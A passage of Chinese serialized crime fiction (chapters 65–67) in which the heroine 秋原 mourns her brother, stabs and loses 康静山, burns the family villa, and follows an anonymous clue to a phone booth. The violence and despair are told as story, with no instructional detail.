“又一个蠢货。”于果嘀咕了一句。
秋原醒来,天已经黑了,身上盖着被子,摸不到盒子,猛地起身四下寻找,好在在床头柜上找到了,她拿起盒子放在腿上,这才恢复了平静。
“你醒了?我煮了粥。”于果端着粥走进来,碗放在床头柜上。
“你来这儿做什么?”
“你放心,既然我害了他一回,他现在死了,我也不追究了。”
秋原瞥了眼她放下的粥碗,心想要是毒药,那便一了百了,端起来往嘴里送。
“你放心,没毒的,我当时放你走,现在也不会害你,更何况他都死了。”
“他死了,你如愿了,开心吗?”
于果看她这样,很想给她一巴掌,但想来不能对女孩子动手,更何况眼前这人确实受刺激不少。
“你想他?当初不是拼了命逃走的吗,怎么又对他恋恋不舍的。”
秋原放下碗,拿起安眠药的倒在手心上,“没什么,是我活该。”
于果也没拦她,“等你睡到再也不想在床上待着的那一天再清醒吧。”她走到门口又停了下来,“不知谁送的快递,在外面桌上,收件人殷思林。”
秋原本来没理会她的话,但听到收件人名字,想来有可能是他,扑腾跳下来床,赤脚跑了出来,她跪在地毯上,一单薄的信封,不知道的还以为是空的。
没有寄件人,收件人是殷思林。
她小心翼翼地拆开,是一张相片。主人公是她,那天见过蛇尾回来,被一女孩子撞掉了眼镜,熙熙攘攘的步行街上,唯独她静立着,眼神空洞而迷茫的望着镜头,而她根本没看到镜头以及镜头背后的人。
相片背后写着字。
我实现你想要的,你跟我回家,好吗。
等我。
没有署名,利落的笔锋只留下简单的几个字。她抓着相片的手止不住的抖,心被挖走一般痛不欲生。她无声而苦闷的人生,孤单而无助,在风雨飘摇中忍隐地漂浮了二十多年,终于有人唤她回家了,在这一刻所有过往化为决堤的洪水,嗷嚎大哭,像是想把过往的委屈和不甘,痛苦和心酸全部都倾泻而出。
房间里静悄悄的,只有她的哭声,撕心裂肺,划破了漆黑无尽的夜。这间房子外,加班的女人拖着疲惫的身体等待末班车,醉酒的男人说着决绝的情话,便利店叮咚叮咚的门铃响,值夜班的收银员目送客人离去。
悲伤太浅了,生活依旧再正常不过,他们不知道有人曾死去,有人为此痛不欲生,也不知道加班的女人回到怎样的家,不知道醉酒男人说的爱有多长保质期,不知道便利店的生意怎么样,值夜班的收银员工资会不会多一些。
这世上的故事太多太多了,悲伤是生活的基调,每个人的苦都各不相同,深夜碰撞的响铃,是谁与谁的悲伤遇见,但没有人能化解彼此的悲伤,人生是自己的,悲伤也是,吃到嘴里的苦才是生活,每个人都是芸芸蜉蝣,能做的只有接受。
悲伤中会生出怎样的花,黎明会来,新一天会来,相信小行星撞地球,还不如相信生活总会继续下去,悲伤的果是什么味道?我希望你永远都无需品尝。
秋原睡了醒醒了又睡,接连的梦境怎么也挣脱不开,她有很多机会可以醒来,但睁眼望着空洞而花白的天花板,悲伤就汹涌而来将她淹没,心痛得无法呼吸,她宁愿选择沉浸在疲惫不堪恐惧不已的梦境中,也不想醒来面对他死了的现实。
65.蓄意自杀 09
“醒了?想通了?”沙发上的于果听见秋原走出来的动静,回头看她。
“你怎么还在这儿?”她的嗓音格外沙哑。
“明知道你可能做傻事的情况下还把你一个人丢下,我倒没那么狠心。”
秋原坐到另一侧的沙发上,像是久病不愈的患者。
于果推到她面前一杯水,她拿起来握了良久,才咕咚咕咚喝了下去。
“想清楚了?”
秋原眼珠不动,眼神没有焦点。
“你要做什么?”
秋原放下杯子,起身打开窗户,“打雷了。”
“什么?”此时正是晌午,太阳好得出奇,怎么会打雷,但话音落了,于果真就听到沉闷绵延的雷声。
“不知道哪里要下暴雨了。”
秋原几次找上江岩,而他拒绝见她,乔树更是公事公办,索性她自己调查,这世上只要有钱和暴力,没有解决不了的问题。
她得知周星耀脱离了生命危险,而那些日子出现在他身旁的殷司源,格外瘦肖,甚至可以说是皮包骨头,他们同行的几个人看起来关系很好,赛车也是提前约定好的,看不出有任何端倪。
出事地点没有监控,她一时之间也毫无头绪。
于果看她愁容满面的样子,忍不住凑热闹,“你打算从自己拍的大马路上看出事故现场?你这照片比厕纸都干净。”
秋原放下照片,没好气地说:“你要没什么事,可以走了吗?”
“也没什么事,”于果坐下给她面前放了罐啤酒,“不过我认识这方面的专家,可以介绍给你。”
两人坐在地毯上,于果一罐一罐啤酒的当水喝,电影当成默片来看,秋原在研究搜集到的照片和记录。太阳的余光收尽,室内突然陷入昏暗,只电视的光忽明忽暗,两人就像蜷缩在一片混沌之中,无天无地。
她放下手里东西,取下眼镜,摸了瓶啤酒,咔嚓打开,不一会儿的功夫喝完了一罐。于果看了她一眼,推出去一罐。
秋原双手把玩着那罐啤酒,突然没来由来了句,“你现在开心吗?”
“嗯?”似已微醺的于果没听清她的话。
“仇人死了,你开心吗?”
于果托腮眼神迷离地望着窗外,仔细想了想才说:“不开心。”
“为什么?”
“你当初,还在劝我,没觉得,你现在不就在走我的老路?”
于果瞥了她一眼,不知从哪儿摸出烟盒,“介意我抽根烟吗?”
“随便。”
于果点上根烟,深吸一口,“我敢打赌,杀了周星耀和殷司源,你也不会好过。”
“是吗。”她说得毫无波澜,像是早就看透红尘,“你现在呢?”
“什么都没意思,所以才赖在你这儿啊。”
“然后呢?看我笑话?还是拦着我?”
“我本来打算拦着你的,后来想通了,拦是拦不住的,就像当初你说的我也没听进去,所以我现在更好奇,你接下来怎么走。”
“我也不知道。”她这句话声音很低,更像是从脑子里过了一遍,可能于果都没有听到。
她躺了下来,枕着胳膊,含糊着来了句“好累啊。”,没多久就睡着了。
于果指缝间的烟在缓慢地燃烧,她想拦住她,晃一晃她的小脑袋瓜让她清醒过来,以她的能力怎么可能让那些人绳之以法,更别说极有可能打上自己的小命。
可她不想,她没做到的,她不一定就实现不了。可实现了又怎么样?她的弟弟死了,生母死了,仇人也死了,接下来又能怎么样?她,她们,不过行尸走肉的躯壳。
秋原熟知康静山的作息,若是他没特意改过的话。落日时分开始下起哗啦啦的大雨,夜色浓了也不见消减,撑伞走着的秋原把伞面压得很低,裤腿溅湿了半截,雨鞋也大得不合脚,她走的小路没有灯,像是个魅影飘过,藏匿于大雨声中。
她走到酒吧后门,上了外侧台阶,从兜里摸出一把钥匙,轻而易举地进了房间里。关上门,嘈杂的雨声一下子安静不少,身上的雨水滴答滴答落在地板上,很快形成一小片水渍。
房间的门开了条缝,一道光闯进来,楼下传来一声呼唤。
“静山哥,我一会儿把这些酒拿上去。”麦子的声音。
“好。”说完他的眼睛注视了房内几秒,拉开门走了进去。
一把刀架在他脖子上,用力不准一道血印出现在他脖子上,他放在门框上的手轻轻带上了门。
“你来了。”
“你知道我会来?”
“既然来了,喝一杯,好久不见了。”说完径直往屋里走。
秋原一慌条件反射地要拦,绊倒他压了上去,“别乱动。”
“你太瘦了,力气太小。”趴在地上的康静山慢条斯理地说道,这种时候他还在聊别人!
“趁你不备还是能放倒你。”
康静山浅笑一声,“陆川还没教会你。从雨中来,开过门,房间里的味道已经不一样了。”说完翻了个身反而把秋原制服住了,他抢过她手里的刀,仔细看了看,“太钝了。”说着起身,还不忘伸手把她拉起来,秋原没搭他的手,径自站了起来,跟他保持一定距离。
“车祸前,是你打给周星耀让他提防殷司源?”
他走到沙发前,弯腰倒了杯酒,“周星耀知道他会动手,不过没想到会在赛车的时候。”他抿了一口,似在细细品尝,“要是他没留神的话,说不定死的真就是他了。”
“殷司源死了,当时车根本没有着火,是你们放火把他活活烧死的!”秋原还是无法直面这些说出的话,受重伤的殷司源被压在车下,尚存的意识最后湮灭在熊熊大火之中。
“我是告诉周要解决了他,否则,给他喘息的机会,死的就是周了。”他说得像是评判一道无关紧要的考题,冷漠得让人可怕,顿了一下接着说:“他太急了,考虑,准备都不周全。”
“别说了。”
康静山新拿了个杯子,倒了三分之一,递给秋原。
秋原假意要接,实则抓住了他的手腕,准备好了刀刺向康静山,杯子掉在了地上,酒水洒了一片。
她知道比起眼前的人,
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她的身手差得不是一点半点,但既然是机会就不可能错过,他有绝大的可能躲得过去,甚至是反手刺向她,但他什么都没有做,刀刺进了他的腹部。
“你也太心急了,再多等等,路就显现出来了。”
秋原另只手抓住他的衣领,“你不是躲得过去吗?为什么不躲!故意让我帮你了结是吗!你从来都只是利用我!”
殷司源单手摸了摸她头顶,“人能做数不清的事,但不能自己了结自己,你知道为什么吗?”
秋原不解地看着他,他似乎在笑。
“命从来不是自己的,活着才天理,才是在赎罪。”说着,他的手覆在她手上,一点一点把刀拔出来。
秋原想拦着他,可却阻止不了。她真切地感觉到了疼痛,痛彻心扉。
迫在眉睫的脚步声这时传来,秋原一下子慌了,开门的一瞬间挟持了康静山。
“谁在哪儿?”
“别开灯!”
“秋原?静山哥呢?”说着要走过来。
“别过来!”
接着微光麦子看出不太对,再加上秋原声音中的异样,“你要干什么?你真要杀静山哥?秋原你是不是疯了!冤有头债有主你找周星耀去呀!你干嘛对静山哥动手啊!”
“对不起。”秋原克制着,声音冷冷的,“有他在没人动得了周星耀。”
“对不起有什么用啊!你放开静山哥,你不就是要周星耀的命,你杀不了他我替你,反正我没成年杀人也不用坐牢,你别害静山哥行吗?”听得出他快哭了。
秋原拿刀的手抖了一下,康静山轻拍了下她手背,低声说:“迟疑了?唉陆川到底怎么教的你。你先回去吧,我会给你一个交代。”
她的头抵在他后背,她想听他的话,最后还是听了,拿刀的手慢慢放下,刀掉在了地上,快步走了。
麦子本意欲追上去,被康静山拦住了,他躺在沙发上,随手扯了毯子盖在身上,感觉整个人累得不行。麦子扑了过来,跪在地上,“静山哥你怎么样?有没有受伤?”
“你觉得呢?我倒要找陆川好好聊聊他是怎么办事的。”他抬起外侧的手放在麦子头顶,“秋原不会真伤我。今天的课去上了吗?”
“上了,我一节课都没落过。”此时麦子激动得像抢答的学生娃,兴奋地说出自己的答案。
“把药拿来,桌上的。”
麦子麻溜取了药,端了水给他,看着他喝下去。
“我困了,你下去吧,跟陆川说今天不要有人再上来了,你好好上课,别浪费了嗓子,不许偷酒喝,我,一直看着你呢。”
“嗯!”麦子答应着还疯狂地点头,“我明天带吉他来,我新写了首歌,明天唱给你听。”
“好,去吧。”
麦子走下楼,有些失魂落魄,最后一节台阶没站稳险些摔倒,陆川扶住了他。
“怎么了?”
“没事,静山哥睡了。”说完咬着牙关,似在极力克制。
陆川向上望了一眼,没再追问,“今天没事早点回去。”
“嗯。”赶忙走人。
66.蓄意自杀 10
秋原淋着雨离橘子酒吧越来越远,大雨淋湿了整个人,再汹涌的泪水在此时都显得无足轻重,眼泪不重要,她也不重要。不知为何,她感觉这是他们最后一次见面,永生永世再也不见的绝望感,她彻底葬送了他们之间的牵绊,在这一雨夜之中。
时隔两天她才知道,那一晚康静山死在自己家的沙发上,他是睡着了,长眠于那一无望的雨夜,长期慢性中毒加失血过多,他走得很安详。
根本没有喝错顺序就致命的药,药本身就有问题。
秋原掉包的行为被陆川发现了,他换了回来,但是后来又换了回去。
麦子察觉出那一晚康静山临睡前的异常,但他还是最后一次听了他的话。他整晚都窝在角落的卡座,一言不发。
那晚陆川走上楼,靠在门边站了有半个多小时,最后默默下楼。
所有人都顺着他的心意,一起完成了他的死亡之约,只是他们彼此之间都不曾知晓。他的死,终成为他们再无法说出口的罪孽。
十几年前罪恶,终于在饱受漫漫折磨后,躺进了坟墓。
那之后,找上秋原的,竟然是玫基。
“你为什么躲我?”
秋原转而不去看她,她是谁也不想见。
“不敢见我?”
秋原没理她。
“我不知道你们是怎么看他的,不过也好不到哪儿去,我见识过一次他整人的手段,手下几个人用各种药物,工具折磨那个人,他就在旁边看着,面带微笑,很享受的表情。我记不得那个人的表情了,至今还记得他的神情。
后来他发现我了,蹲下身摸着我的脸,同样微笑着,无比温柔地说,这些你都不要管,我处理好,你只要过自己想过的生活就好。
你知道吗,他说那些话的时候多么真挚,那么多年他展现在我面前的也始终都是那么真挚,温柔,体贴的样子,即使他跟父亲对峙,严肃,认真,也一样的真实。
可能你要说,他手段狠毒对待要除掉的人的时候呢,我只能说,那时候的他,也是同样的真实。不论何种面孔,都是真实的他,他对我好,对有些人残忍,这些都是他。
纵使他从来没有让我参与过他做的那些见不得人的事,我也知道他做过很多很多数不清了,但因为他我才过了那些年,你说,我该怎么对待他呢。
是把他当作十恶不赦的坏人,还是给我依靠的家人呢?
你以为那些,所谓的受害者就真的无辜?哪个背地里不是自私自利为了点小恩小利就能出卖自己甚至别人?
做坏事的人多了去了,披着伪善的皮装模作样还以为自己主持着正义,大放厥词还以为自己是救世主,而他呢?他只是被你们盯上了,那那些躲在暗处做着肮脏龌龊杀人害人虚假伪善的人又怎么说呢?”
秋原听了这番话仍旧一副无动于衷的表情,“与我何干。”
玫基抬起的巴掌举到半空中停了下来,她是真的不怕,她是真的怯意都没有,玫基这才觉得眼前的人变了,跟以前那个她知道的人不一样了。
“与你何干?呵,那康静山呢?他不还是被你害死了。”
她的嗓音有些颤抖,秋原听得出她语调里的悲伤。
秋原哑口无言。
没想到,真被她给说中了。
“最该死的人是你,你知道吗?在你之前,他虽然冷漠,可盔甲包裹得严实,没人能伤得到他,是你一步一步毁掉了他……”
“你根本就不懂,害死他的人是他自己,”秋原打断了她的话,瞪着眼睛像是着魔一般,“知道我怎么知道吗?因为我们是一类人,怎么都不可能放过自己的人。”
她走近一步,直视着她的目光,一字一顿地说:“所以,别指望我放过周星耀。”
“江队,缉毒队队长不同意我们的方案。”乔树还有些气喘,但在江岩面前很快稳住了呼吸,“殷司源体内的毒品跟这个案子查出来的毒源一致,光这一点……”
“高副局怎么说?”
“还没有表态,看得出副局也有顾虑。”
江岩思索了会儿,才道:“你整一下查出来李辉俞的东西,我去找副局。”
“江队,”乔树话到嘴边停住了。
“有话直说。”
“现在把调查出来关于李辉俞的事报告上去,很可能功亏一篑。”
江岩理着手头的文件,没抬头,“不是让你全整,挑出来一部分,掌握好分寸,我会跟副局说明。”
“赖仓呢?”
听到这个名字,江岩思索了片刻,才抬眼时眼睛恢复了坚毅,“这个人不存在。”
“明白了。”乔树退了出去。
次日,须燕市晨间新闻报道了一起案件,死者姓曹,某“□□”头目,被发现时已死于酒店房间,死亡原因系吸毒过量。
正碰上“扫黑除恶”,此人过去干过的勾当也一并扯了出来,吸毒反而没那么吸人眼球。
这出报道没有引起任何水花,很快淹没在忙碌繁杂的工作日中,而这显然没有遂了某些人的意。
秋原站在溪汀市殷家别墅前。
“你真的想好了?”
“嗯。”
“行吧,你自己都不心疼,我肉疼个什么劲儿。”
“不会烧到附近……”
“不会。”于果打断了她的话,“我找师傅问过了,线路什么的也都拆了。”
“警察会不会……”
“不会。”于果之前真没发现这位这么优柔寡断,“房子在你名下,文件齐全,律师都给你请好了,不需要你出面。”
“谢谢。”
“不用。”
秋原独自进了房子,细细走了一遍,最后走到门口,回头望着,掏出打火机扔了出去。
她带上门,坚决地走了。
于果递给她一只点燃的烟,她接过深吸一口,缓慢地吐出烟圈,不知是被烟呛的,还是怎的,她神情凝重,眼眶却已湿润,眼球蒙上一层晶莹,火光在眼底跳跃,忽明忽暗,终化为隽永的光辉,像是生生不息的生命,在舞动,在挣扎,在张扬,在肆意。
此时天边的云层烧得火红,蔓延了半片天空,但很快很快,浓稠得如油漆一般的深蓝,黝黑,将吞噬余晖。
秋原坐在办公室里,门响了。
“久等了,我听说你来了,就赶紧回来。”
“章医生您客气了,是我突然前来打扰
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了。”秋原起身迎他。
“听说了吗,前市长的别墅昨晚上起火了,整个房子都烧了,就剩一个空壳了。”
“没想到,章医生还挺八卦。”
章医生温润地笑着,意味深长地来了一句,“那就要看,是谁的八卦了。”
助理敲门进来换了两杯茶,等她走了,章煦问道,“康静山怎么样了?我的药有没有见效。”
秋原望着交缠的两只手,没想到他会直接问,一时间真不清楚他是真不知还是假不知,“他死了,你不知道吗?”
“哦是吗?”说完也只是波澜不惊地叹息一声。
秋原惊讶于他的反应,根本猜不透他在想什么。
“这回来,怕是有什么事吧?”
“果然瞒不住章医生。”
从溪汀市回来,于果把车停在地下停车场,副驾驶座的秋原先下了车,于果回头瞅了眼殷司源的车,心里赞叹这车真不错。
一进门秋原就去了卧室反锁上了门,于果刚坐下就听到门铃。
送快递的小哥把一个小盒子给她,收件人是殷思林。
“你的东西,看样子是殷司源寄的。”说完放在了卧室门口。
门开了,秋原看着脚下的小盒子,空荡荡的只装着一只录音笔。
“嗨,”第一次听他说这个字,很不像他,“你听到这些话,也就意味着我死了。就是想告诉你件事,你偷拿的,是他早就准备好的假账本,真账本他一直藏着,我花了好几年才找到,替换了你给辛叔娅的那本,所以至少这件事,跟你无关。
对不起,没实现答应你的……”
之后是漫长的沉默,他应该有很多话想说,以前的很久以前的以后的未来的,可真到了这样的境地,说什么也都毫无意义。
最后录音戛然而止。
他经历了人生中又一段温暖的日子,许是曾真切感受过人世间的爱意,故而充满了向往。只是在那之后,急转直下,他来不及细细品味,就再也没有翻身的机会了,这大概是给他的惩罚吧,他死之前是这样想的吗?嚣张跋扈了那些年,伤害了最想守护的人,说出口的承诺也成了空话,这般作践了人生,所以老天才收回他的命吗?全然无解,全都再无意义。
秋原坐在地上,靠在床边,头深埋在双膝之间。
“这算什么啊,谁的错就是谁的错。”
于果敲门进来,秋原靠在床边睡着了。
“喂,有个小崽子找你的,你认识吗?”刚说完,从她撑在门上的胳膊下钻出一个小孩儿。
秋原眯着眼睛起身坐到了床上,还看不清是谁,就听到叽叽喳喳的熟悉童音。小孩儿扑到床上抱住她,“姐姐姐姐,阿鑫来看你啦,你有没有想阿鑫啊?”
此时秋原心情不佳,不冷不淡地说:“你怎么来了?”
“姐姐我来找你玩啊。”
看她天真可爱的模样,秋原也不忍心说什么重话,转而对于果说:“你带她玩会儿,我去洗澡。”
于果不过看热闹这人怎么还认识这么个小跟班,谁知道转眼就被安排上事了,“哎你这也忒不见外了吧?”
秋原拿了毛巾去浴室,“别客气你也不用见外。”
67.蓄意自杀 11
等她再出来,这两人已经打成一片,坐在沙发上看猫和老鼠,猫和老鼠?还分吃同一包薯片……此情此景,秋原也是无处吐槽,她盘膝坐在地毯上,擦拭着头发,“你爸呢?”
“跟人谈生意去了。”
“跟谁?”
“姐姐你知道的。”
“最近他们见面多吗?”,
阿鑫想了一下,“多。”
“你爸打算跟他和解?”
阿鑫摇摇头,“和解不了,他是被威胁到了不得不出面,要不然那一出事过后指不定他能窝多久呢。”
“怎么个威胁法?”
“嗯……这我就不知道了。”
想来周星耀不知使了什么手段,逼得余海出了老巢,不得不跟他见这一面。最近他行动频繁,她也得加快步伐了。
秋原并不知道那时江岩已经查到二队张队长的死因,他是被自己的线人出卖,遭人暗算丧命。而收买线人并在幕后策划这些的人,就是李辉俞背地里的手下赖仓。
张队一开始暗中跟踪李辉俞,意外发现了赖仓,此人不仅私下跟涉黑人员来往,甚至在嘉海也能“说上话”,他和周星耀之间存在利益往来。这也坐实了他们之间的不法交易,也就是说在警察局能保住他的人暴露了,他本人的存在也岌岌可危。最重要的,一直以来在暗处协助他为他出谋划策的人,康静山死了,这对他的冲击无疑是巨大的。
所以这场对弈,似乎到了最原始的状态。
“你爸打算做掉他?”
“有这个意思。”
“所以来我了?”
之前的对话于果都听得云里雾里,但到了这儿她一个激灵。
阿鑫坦坦荡荡,甚至还有些义正言辞地说:“对啊。”
“他不是没什么拼劲了吗,此时和解不正好。”
“吾……”阿鑫被问到了,不知道怎么回答。
不过秋原能猜出来一二,以周星耀的性子,纵使余海举双手站他这边,也不可能让他相信,更别说是推心置腹了,何时背后捅一刀都是轻而易举。而此时周星耀背腹受敌,这对余海来说可是千载难逢的好时机。
不过她不明白,既然余海年纪大了,不愿意再出手,他还那么心疼他宝贝女儿,走这一步着实是惊险,没做利索惹怒了周星耀,扒皮抽骨的可不止他那把老骨头。
“你回去跟你爸说,我不打算跟他合作,也不会跟他合作,更不会由他利用,他要是不敢动手,我早晚会除掉那个人,他等着就行了。”
阿鑫摇摇头,格外诚恳地说:“姐姐你一个人不行的。”
“这你不用管了,再说我也不是一个人。”
阿鑫说不过,哄闹着玩够了咋呼一声一溜烟跑了,于果这才正儿八经起来,“你打算怎么办?真不打算听听那小孩她爸的主意?说不准……”
“跟我扯上关系的都没好下场,你还是先关心关心自己吧。”
于果吃了瘪,白了她一眼。
见过阿鑫后,秋原把自己的计划提前了。她停下脚步望着太阳,心想春天了是吗。
要是可以决定自己什么时候离开,她希望是一个夏日的午后,坐在院前大树下的躺椅中,枝叶把光芒档得正好,小桌板上放着静置的浓茶,一把竹扇,一只熏香,闭上眼,最后一幕看到的是摇动的枝芽,以及细碎的光影,下一刻便可以步入长眠,悄无声息。
但她不能,像很多人一样做不到,她也不过其中之一,所以这遗憾也无足轻重。
不过冬天已经过去了,她以为难熬得怎么也过不活的冷冽寒冬都过去了,还有什么度过不了的。想到这儿,她加快了脚步,得在夏天到来前结束。
回到公寓开门的时候,她感觉不太对,蹲下身在门缝下发现一张纸,她按住边角扒拉出来,是一张快递单,收件地址是隔壁,无寄件人信息,想着是隔壁飘过来的,她搓在手里揉成了一团,转念一想不太对劲,环顾四周没发现什么异常,拿着那张纸进了门。
于果看她运动后的样子,抽啤酒的时候给她顺了一瓶,“你去哪儿了?又去突击训练了?你这瞎子摸象不行的,得有人教你。”
秋原接过啤酒罐,没听进去她在说什么。
“再怎么训练,你还真以为你能打得过几十个人?他们才不会一个一个跟你谦让。”于果看她专心致志捉摸手里的东西,一把抢了过来,“什么东西,这么入迷。不就是一快递单吗,哪儿捡的。”
“门缝。”
于果这下好奇了,“对面的单子怎么跑门缝下面了?”
秋原摇头,她还没想明白,接过那张纸,她突然想到了殷司源,这是他的房子,他的家,她愈加觉得眼前的纸有问题。
她躺在床上,胳膊腿酸痛,手上磨出的泡也成了茧,她的胳膊撑在脑袋下,望着空洞的天花板,眼神是同样的空洞。
不知为何,她想起了小时候,在殷家的日子。殷司源可以出去上学后,家里就剩下她一个人,管家保姆对她不冷不热,她不说话,他们也不会说,当她是空气般存在。有一次他带了人回来,其实殷瑞生不许他带人回来,两人悄咪咪上了楼,不知殷司源在找什么东西,那时的殷思林在楼道碰到了他带回来的男孩。
男孩像是发现猎物便,眼神大放光彩,“这就是你妹妹?”说着拦住她的去路,揪着她的头发不让她走,把她当玩物一般耍。
“看你妹妹真好玩。”
殷司源丢掉手里的盒子扑了过来,拳头打在男孩脸上,两人很快扭打在一起。
这件事不可避免地被殷瑞生知道了,也不知男孩是谁家的儿子,归根结底就是殷司源被暴打一顿。
鼻青脸肿的殷司源上楼,看到躲在门口露出小脑袋来不及缩回去的殷思林,切了一声回房重重关上了门。她再也没见过那个男孩,也没见他再带朋友回来过。
她一个翻身下了床,赤脚跑到客厅,拿起那张快递纸,一遍又一遍翻来覆去地看。
“客服须知及退换货流程请登录http://……”
她翻出手机打出了网址,空白的页面仅左上角显示几个字。
“寿明街197号。”
没听过这个地方,她搜了一下,发现是多年前的一条街道名,现在已经改叫洪庆路。
她拿上外套出了门。
虽已过了寒冬,但夜里室外还是挺冷的,一阵小风吹得她发抖,裹紧了外套。路过的小馆出来几个扯着
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嗓门的男人,秋原躲闪不及与一个人撞了个正着。
那人不知喝了多少酒,整个人都醉醺醺的,一开口满是酒气,“怎么走路的长没长眼睛啊!”
秋原抬眼从镜片上方瞥了那人一眼,没说话绕路走。
男人倒是不依不饶抓着她的衣领不放她走,“贱货敢瞪我?哥几个过来,这贱人撞了人不说还敢给老子摆脸色?”
说着几个同样醉酒的男人围了过来。
“哟看这小婊子还挺横,一脸凶巴巴的。”
秋原不动声色地打量了下这几个人,给了眼前臭气熏天的男人两字,“放开。”
“贱货还敢命令老子?”
男人抬手就是一巴掌,力道之大,秋原感觉自己脑袋嗡了一下,嘴角流出了血,眼镜险些掉了。
她摘下眼镜,吐了口血水,袖子擦了擦镜片,重新好好戴上眼镜,看了眼男人,又望了圈围观者。
她指了指店门口方向,男人不解地回头瞅了一眼,“什么玩意儿。”
紧接着她趁机掰着他的两根手指挣脱了他的牵制,从墙边顺起来一个小板凳。
男人吃痛弯着腰嗷嗷大叫,秋原松了手后退一步。
本想着吃了亏知道收敛,谁知男人骂着叫上同行的人一起扑过来,秋原抓着男人的手腕,身子后仰退着,抄起小板凳冲着男人的头砸了下去。
等几个人哀嚎着跑了,秋原也气喘吁吁地坐在地上靠着墙,脸上身上挨了不少拳头,不过她身上肉少全是骨头,想来那几个人的手也不会好受到哪里去。
饭馆的门探出个脑袋,不知是服务员还是店主,观察几个男人跑远了。
“有烟吗?”
那人吓了一跳,灵活的脑袋转了一百八十度瞅了她有半天,才缩回去,片刻扔了打火机和干瘪的烟盒,她倒出一只含在另一侧没挨拳头的嘴角,点上火深吸了一口,吐出层层眼圈。
墙面和地面一样冰凉,一只烟抽得差不多了她才缓过来,身子也没什么热乎气了,她扶着墙起身,往寿明街197号走去。
快到时,踉踉跄跄的她一个没站稳,扑在了地板上,骨头架子震得生疼,此时夜深得重了,路上鲜有行人,她尝试了一下没爬起来,这时传来电话铃声。
幽静的夜晚响起这声音着实让人惊悚,离她不远处一座电话亭,声音就是从那里传来的,她一瘸一拐地挪过去,接起了电话,还不忘环顾四周。
“喂?”
对面没声音。她担心对方发现人不对,急补充道:“我是殷司源。”
对面显然不信,直接挂掉了电话,听到嘟嘟的声音,她靠在玻璃壁上。
她想不明白,殷司源已经死了,谁还跟她玩这样的把戏。
正当她捉摸离开时,电话又响了,她等对面说话,没等到,但这次没直接挂掉电话。
“我是殷思林,你要告诉我什么?”
“三天后,同一时间,西奥体育场。”
不等她发问,对面就挂了。
三天后西奥体育馆,这个点去空荡荡的体育馆干嘛?是周星耀?还是余海?难不成是陆川?对于发生的一系列事情,她总感觉有层迷雾蒙在眼前,怎么也窥探不到底。